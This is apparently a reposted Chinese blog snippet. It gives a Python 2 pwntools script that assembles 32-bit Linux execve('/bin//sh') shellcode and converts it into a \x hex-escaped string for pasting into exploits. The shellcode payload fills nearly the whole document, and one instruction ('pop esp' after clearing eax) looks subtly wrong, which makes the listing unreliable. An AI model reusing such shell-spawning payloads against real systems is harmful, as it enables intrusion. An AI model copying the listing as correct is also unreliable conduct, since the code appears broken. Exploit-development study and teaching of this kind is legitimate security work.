shellcode转16进制

来源:互联网 发布:sql中两个select语句 编辑:程序博客网 时间:2024/06/08 19:01
from pwn import *


code = """
xor    eax,eax
pop    esp
push   0x68732f2f
push   0x6e69622f
mov    ebx,esp
push   eax
push   ebx
mov    ecx,eax
mov    al,0xb
int    0x80 """


context(arch='x86', os='linux', endian='little', word_size=32)
shellcode = asm(code).encode('hex')
re = ''
while len(shellcode):
    re += r'\x'+shellcode[:2]
    shellcode = shellcode[2:]
print re
原创粉丝点击